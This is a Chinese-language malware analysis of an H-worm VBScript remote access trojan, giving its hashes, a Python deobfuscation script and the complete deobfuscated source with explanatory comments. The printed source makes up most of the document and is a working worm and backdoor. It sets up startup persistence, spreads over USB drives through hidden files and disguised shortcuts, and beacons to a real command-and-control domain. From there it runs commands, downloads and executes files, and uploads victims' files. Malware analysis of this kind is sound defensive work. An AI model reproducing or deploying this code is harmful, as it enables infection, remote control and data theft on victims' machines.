样本的基本信息
MD5: c750a5bb8d9aa5a58c27956b897cf102
SHA1: e14994b9e32a3e267947cac36fb3036d9d22be21
SHA256: 1eb712d4976babf7c8cd0b34015c2701bc5040420e688911e6614b278cc82a42
SHA512: b1921c1dc7e8cf075882755be48c0d9636858cd7913188cb6c9ca6e7e741f049c143a79c6835ef93adc6eb30cebb3a67764aebdaa344a8ec22de6fff959661f0
CRC32: 88c48f9a
分析环境
- vscode
- python3
- PrimalScript
分析过程
用notepad++打开脚本后,发现这是一个混淆后的脚本,主要的代码在anas变量中
anas = "3981899982..." '混淆后的代码
anas = SPLIT(anas,"81899982838") '拆分
FOR X = 0 TO UBOUND(anas) -1 '遍历将数字转成asc码
Xmy = Xmy & ChrW(anas(X))
NEXT
EXECUTE (Xmy) '执行代码
去混淆
参考上面的逻辑编写python脚本对anas变量进行去混淆
data = open("anas.txt",'r').read()
data = data.strip().split("81899982838")
data1 = ''
for x in data:
if x.isnumeric():
data1 += chr(int(x))
open('1.vbs','w').write(data1)
样本分析
经过分析,这个样本的主要逻辑如下图所示,这是一个木马,通过U盘传播,感染主机后要定时向后台请求命令执行,通过CC域名可能匹配到该样本属于H-worm家族。
代码中主要的函数功能
详细的分析结果见代码注释
'<[ recoder : houdini (c) skype : houdini-fx ]>
'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
' 配置
' C&C服务器的域名
host = "sidisalim.myvnc.com"
' C&C服务器的端口
port = 1888
'安装的路径
installdir = "%temp%"
' 开关变量,是否创建文件的快捷方式
lnkfile = true
'开关变量,是否创建文件夹的的快捷方式
lnkfolder = true
'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
' 全局变量
' shell对象,用于执行命令
dim shellobj
set shellobj = wscript.createobject("wscript.shell")
' 文件系统对象,用于操作文件
dim filesystemobj
set filesystemobj = createobject("scripting.filesystemobject")
' http对象,用于网络请求
dim httpobj
set httpobj = createobject("msxml2.xmlhttp")
'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
'私有变量
' 当前文件的名字 1.vbs
installname = wscript.scriptname
' 系统的startup目录 C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
startup = shellobj.specialfolders ("startup") & "\"
'临时目录 C:\Users\ADMINI~1\AppData\Local\Temp\
installdir = shellobj.expandenvironmentstrings(installdir) & "\"
if not filesystemobj.folderexists(installdir) then installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
' split=<|>
spliter = "<" & "|" & ">"
sleep = 5000
dim response
dim cmd
dim param
info = ""
usbspreading = ""
startdate = ""
' 自身的文件对象
dim oneonce
'=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
' 如果后面的程序出现"运行时错误"时,会继续运行,不中断
on error resume next
' 感染系统 添加开机启动项
instance
while true
' 感染当前系统和可移动存储介质
install
response = ""
' 向后台发送is-ready消息,并返回要执行的指令
response = post ("is-ready","")
' 从POST响应中的解析出指令
cmd = split (response,spliter)
select case cmd (0)
case "excecute" ' 执行命令
param = cmd (1)
execute param
case "update" ' 更新自身
param = cmd (1)
oneonce.close
' 写入新文件
set oneonce = filesystemobj.opentextfile (installdir & installname ,2, false)
oneonce.write param
oneonce.close
' 运行新文件
shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
wscript.quit
case "uninstall" ' 删除自身
uninstall
case "send" '从后台下载文件执行
download cmd (1),cmd (2)
case "site-send" '从其它站点下载文件执行
sitedownloader cmd (1),cmd (2)
case "recv" '向后台上传文件
param = cmd (1)
upload (param)
case "enum-driver" '获取驱动器信息
post "is-enum-driver",enumdriver
case "enum-faf" '遍历指定的目录
param = cmd (1)
post "is-enum-faf",enumfaf (param)
case "enum-process" '获取系统进程列表
post "is-enum-process",enumprocess
case "cmd-shell" '执行命令返回结果
param = cmd (1)
post "is-cmd-shell",cmdshell (param)
case "delete" '删除指定的文件或目录
param = cmd (1)
deletefaf (param)
case "exit-process" 'kill指定pid的进程
param = cmd (1)
exitprocess (param)
case "sleep" '设置轮询的间隔时间
param = cmd (1)
sleep = eval (param)
end select
wscript.sleep sleep
wend
' 感染当前系统和可移动存储介质
sub install
on error resume next
dim lnkobj
dim filename
dim foldername
dim fileicon
dim foldericon
' 写注册表 设置开机启动项 拷贝自身到temp和startup目录下
upstart
' 遍历驱动器 关于filesysobj可参考https://blog.csdn.net/chuhe163/article/details/103538947
for each drive in filesystemobj.drives
if drive.isready = true then
if drive.freespace > 0 then ' 磁盘上可用空间大于0
if drive.drivetype = 1 then '1代表可移动
' 把自己拷贝到可移动的驱动器根目录下
filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
' 若拷贝成功
if filesystemobj.fileexists (drive.path & "\" & installname) then
' 设置文件属性为 隐藏和系统文件 FILE_ATTRIBUTE_HIDDEN=2 FILE_ATTRIBUTE_SYSTEM=4
filesystemobj.getfile(drive.path & "\" & installname).attributes = 2+4
end if
' 遍历可移动存储驱动器根目录下的文件
for each file in filesystemobj.getfolder( drive.path & "\" ).Files
if not lnkfile then exit for
' 若文件名中含有.
if instr (file.name,".") then
' 若当前文件不是.lnk文件
if lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
' 将文件属性设置为 隐藏+系统文件
file.attributes = 2+4
' 不是脚本自身
if ucase (file.name) <> ucase (installname) then
filename = split(file.name,".")
' 创建一个同当前文件同名的快捷方式 可参考 https://www.jb51.net/shouce/script56/Script56_chs/html/wsprowindowstyle.htm
set lnkobj = shellobj.createshortcut (drive.path & "\" & filename (0) & ".lnk")
' 最小化窗口并激活下一个顶级窗口。
lnkobj.windowstyle = 7
lnkobj.targetpath = "cmd.exe"
lnkobj.workingdirectory = ""
' cmd.exe /c start 1.vbs & start filename & exit 先执行1.vbs 再打开当前文件
lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
' 从注册表中读取当前文件后缀默认的打开程序的icon 如.zip使用winrar打开
' HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WinRAR\DefaultIcon
' 值为"C:\\Program Files\\WinRAR\\WinRAR.exe,0"
fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\")
' 修改快捷方式的图标为当前文件的图标
if instr (fileicon,",") = 0 then
lnkobj.iconlocation = file.path
else
lnkobj.iconlocation = fileicon
end if
' 保存快捷方式
lnkobj.save()
end if
end if
end if
next
' 遍历移动驱动器根目录下的子目录
for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
if not lnkfolder then exit for
' 将当前文件夹 属性设置为hide 和system
folder.attributes = 2+4
foldername = folder.name
' 创建一个同名的快捷方式
set lnkobj = shellobj.createshortcut (drive.path & "\" & foldername & ".lnk")
' 最小化运行
lnkobj.windowstyle = 7
lnkobj.targetpath = "cmd.exe"
lnkobj.workingdirectory = ""
' 打开快捷方式执行 cmd.exe /c start 1.vbs &start exporer 当前目录 &exit
lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
' 将快捷方式的图标设置为文件夹图标
foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\")
if instr (foldericon,",") = 0 then
lnkobj.iconlocation = folder.path
else
lnkobj.iconlocation = foldericon
end if
' 保存快捷方式
lnkobj.save()
next
end If
end If
end if
next
err.clear
end sub
' 删除自身,删除USB设备的快捷方式 恢复文件和目录
sub uninstall
on error resume next
dim filename
dim foldername
'删除注册表中的开机启动项
shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
'删除startup目录中的副本
filesystemobj.deletefile startup & installname ,true
'删除自身
filesystemobj.deletefile wscript.scriptfullname ,true
'遍历当前系统驱动器
for each drive in filesystemobj.drives
if drive.isready = true then
if drive.freespace > 0 then
'找到USB设备
if drive.drivetype = 1 then
for each file in filesystemobj.getfolder ( drive.path & "\").files
on error resume next
'若文件名中含有.
if instr (file.name,".") then
'对于非.lnk文件
if lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
'设置文件为可见
file.attributes = 0
'对于非自身副本的文件
if ucase (file.name) <> ucase (installname) then
filename = split(file.name,".")
'删除同名的.lnk文件
filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
else
'删除自身副本
filesystemobj.deletefile (drive.path & "\" & file.name)
end If
else
'删除.lnk文件
filesystemobj.deletefile (file.path)
end if
end if
next
'遍历文件夹
for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
'将文件夹设置为可见
folder.attributes = 0
next
end if
end if
end if
next
'退出
wscript.quit
end sub
' 向控制服务器发送post请求 cmd为uri,返回响应
function post (cmd ,param)
post = param
httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
'user-agent为系统信息 逻辑驱动器序列号<|>计算机名<|>当前用户名<|>操作系统名<|>plus<|>系统的杀软列表<|>是否从usb中感染 - 感染日期
httpobj.setrequestheader "user-agent:",information
' 发送负载
httpobj.send param
post = httpobj.responsetext
end function
' 获取系统信息 逻辑驱动器序列号<|>计算机名<|>当前用户名<|>操作系统名<|>plus<|>系统的杀软列表<|>是否从usb中感染 - 感染日期
function information
on error resume next
if inf = "" then
inf = hwid & spliter ' 逻辑驱动器序列号
inf = inf & shellobj.expandenvironmentstrings("%computername%") & spliter ' 计算机名
inf = inf & shellobj.expandenvironmentstrings("%username%") & spliter ' 当前用户名
' 可参考 https://blog.csdn.net/shellching/article/details/16983957
set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
'获取当前操作系统名
set os = root.execquery ("select * from win32_operatingsystem")
for each osinfo in os
inf = inf & osinfo.caption & spliter '获取当前操作系统名
exit for
next
inf = inf & "plus" & spliter
inf = inf & security & spliter ' 获取系统的杀软列表
inf = inf & usbspreading ' 是否在usb设备中运行 和 日期
information = inf
else
information = inf
end if
end function
' 写注册表 设置开机启动项 拷贝自身到temp和startup目录下
sub upstart ()
on error resume Next
'写注册表 HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\1 wscript.exe //B "C:\Users\ADMINI~1\AppData\Local\Temp\1.vbs"
shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
'写注册表 HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\1 wscript.exe //B "C:\Users\ADMINI~1\AppData\Local\Temp\1.vbs"
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
' 把当前文件拷贝到 C:\Users\ADMINI~1\AppData\Local\Temp\1.vbs
filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
' 把当前文件拷贝到 startup目录下 C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.vbs
filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
end sub
' 获取逻辑磁盘序列号
function hwid
on error resume next
set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
'使用WMI枚举所有逻辑磁盘信息
set disks = root.execquery ("select * from win32_logicaldisk")
for each disk in disks
' 序列号
if disk.volumeserialnumber <> "" then
hwid = disk.volumeserialnumber
exit for
end if
next
end function
' 获取系统中安装的杀软列表
function security
on error resume next
security = ""
set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
for each objitem in colitems
versionstr = split (objitem.version,".")
next
versionstr = split (colitems.version,".")
osversion = versionstr (0) & "."
for x = 1 to ubound (versionstr)
osversion = osversion & versionstr (i)
next
osversion = eval (osversion)
if osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
' 获取当前系统的杀软系统
Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
for each objantivirus in colantivirus
security = security & objantivirus.displayname & " ."
next
if security = "" then security = "nan-av"
end function
' 感染系统 添加开机启动项
function instance
' 如果后面的程序出现"运行时错误"时,会继续运行,不中断
on error resume next
' 读取注册表项 HKEY_LOCAL_MACHINE\software\1\ 的内容
usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
if usbspreading = "" then '若为空
' 若当前的vbs文件在驱动器的根目录下
if lcase ( mid(wscript.scriptfullname,2)) = ":\" & lcase(installname) then
' usbspreding 设置为 "true - 当前日期"
usbspreading = "true - " & date
'写注册表 HKEY_LOCAL_MACHINE\software\1\
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ"
else
' usbspreding 设置为 "false - 当前日期"
usbspreading = "false - " & date
'写注册表 HKEY_LOCAL_MACHINE\software\1\
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ"
end if
end If
' 设置开机启动项,将自身拷贝到 tmp和startup目录下
upstart
set scriptfullnameshort = filesystemobj.getfile (wscript.scriptfullname)
set installfullnameshort = filesystemobj.getfile (installdir & installname)
' 若当前文件在临时目录,执行临时目录的脚本
if lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then
shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
wscript.quit
end If
err.clear
' 打开 tmp目录下的自己
set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
' 若文件不存在退出
if err.number > 0 then wscript.quit
end function
sub sitedownloader (fileurl,filename)
strlink = fileurl
strsaveto = installdir & filename
set objhttpdownload = createobject("msxml2.xmlhttp" )
objhttpdownload.open "get", strlink, false
objhttpdownload.send
set objfsodownload = createobject ("scripting.filesystemobject")
'若文件已经存在,删除
if objfsodownload.fileexists (strsaveto) then
objfsodownload.deletefile (strsaveto)
end if
'保存文件
if objhttpdownload.status = 200 then
dim objstreamdownload
set objstreamdownload = createobject("adodb.stream")
with objstreamdownload
.type = 1
.open
.write objhttpdownload.responsebody
.savetofile strsaveto
.close
end with
set objstreamdownload = nothing
end if
'若文件存在,运行
if objfsodownload.fileexists(strsaveto) then
shellobj.run objfsodownload.getfile (strsaveto).shortpath
end if
end sub
'从后台下载文件执行
'fileurl为文件名
'filedir为文件要保存的路径
sub download (fileurl,filedir)
if filedir = "" then
filedir = installdir
end if
'文件保存的路径
strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
set objhttpdownload = createobject("msxml2.xmlhttp")
'post http://sidisalim.myvnc.com:1888/is-sending<|>fileurl
objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
objhttpdownload.send ""
set objfsodownload = createobject ("scripting.filesystemobject")
'若文件已经存在,删除之
if objfsodownload.fileexists (strsaveto) then
objfsodownload.deletefile (strsaveto)
end if
' http状态码为200的话
if objhttpdownload.status = 200 then
dim objstreamdownload
set objstreamdownload = createobject("adodb.stream")
'将http的响应保存为文件
with objstreamdownload
.type = 1
.open
.write objhttpdownload.responsebody
.savetofile strsaveto
.close
end with
set objstreamdownload = nothing
end if
'若文件存在,运行文件
if objfsodownload.fileexists(strsaveto) then
shellobj.run objfsodownload.getfile (strsaveto).shortpath
end if
end sub
' 向后台上传文件
function upload (fileurl)
dim httpobj,objstreamuploade,buffer
set objstreamuploade = createobject("adodb.stream")
with objstreamuploade
.type = 1
.open
.loadfromfile fileurl
buffer = .read
.close
end with
set objstreamdownload = nothing
set httpobj = createobject("msxml2.xmlhttp")
' http://sidisalim.myvnc.com:1888/is-recving<|>文件名
httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
httpobj.send buffer
end function
' 遍历驱动器
function enumdriver ()
for each drive in filesystemobj.drives
if drive.isready = true then
enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
end if
next
end Function
'遍历指定目录
function enumfaf (enumdir)
enumfaf = enumdir & spliter
for each folder in filesystemobj.getfolder (enumdir).subfolders
enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
next
for each file in filesystemobj.getfolder (enumdir).files
enumfaf = enumfaf & file.name & "|" & file.size & "|" & "f" & "|" & file.attributes & spliter
next
end function
'遍历主机的进程
function enumprocess ()
on error resume next
set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
set colitems = objwmiservice.execquery("select * from win32_process",,48)
dim objitem
for each objitem in colitems
enumprocess = enumprocess & objitem.name & "|"
enumprocess = enumprocess & objitem.processid & "|"
enumprocess = enumprocess & objitem.executablepath & spliter
next
end function
'kill指定Pid的进程
sub exitprocess (pid)
on error resume next
shellobj.run "taskkill /F /T /PID " & pid,7,true
end sub
'删除文件或目录
sub deletefaf (url)
on error resume next
filesystemobj.deletefile url
filesystemobj.deletefolder url
end sub
'执行命令返回结果
function cmdshell (cmd)
dim httpobj,oexec,readallfromany
set oexec = shellobj.exec ("%comspec% /c " & cmd)
if not oexec.stdout.atendofstream then
readallfromany = oexec.stdout.readall
elseif not oexec.stderr.atendofstream then
readallfromany = oexec.stderr.readall
else
readallfromany = ""
end if
cmdshell = readallfromany
end function
参考资料
- H-WORM:简单而活跃的远控木马